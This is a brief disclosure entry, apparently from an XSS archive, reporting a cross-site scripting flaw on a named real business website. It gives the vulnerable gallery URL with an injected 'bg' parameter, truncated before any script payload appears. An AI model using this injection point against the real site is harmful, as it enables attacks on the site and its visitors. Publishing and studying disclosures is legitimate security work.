mapaving.co.uk XSS vulnerability

Vulnerable URL: http://www.mapaving.co.uk/gallery/svcore/full.html?bg="transparent=http://www.mapaving.co.uk/gallery/gallery.xml=http://www.mapaving.co.uk/gallery/=http://www.mapaving.co.uk/gallery/images/=http://www.mapaving.co.uk/gallery/thumbs/=true=true=false=true=true=true=fff=fff=true=-1...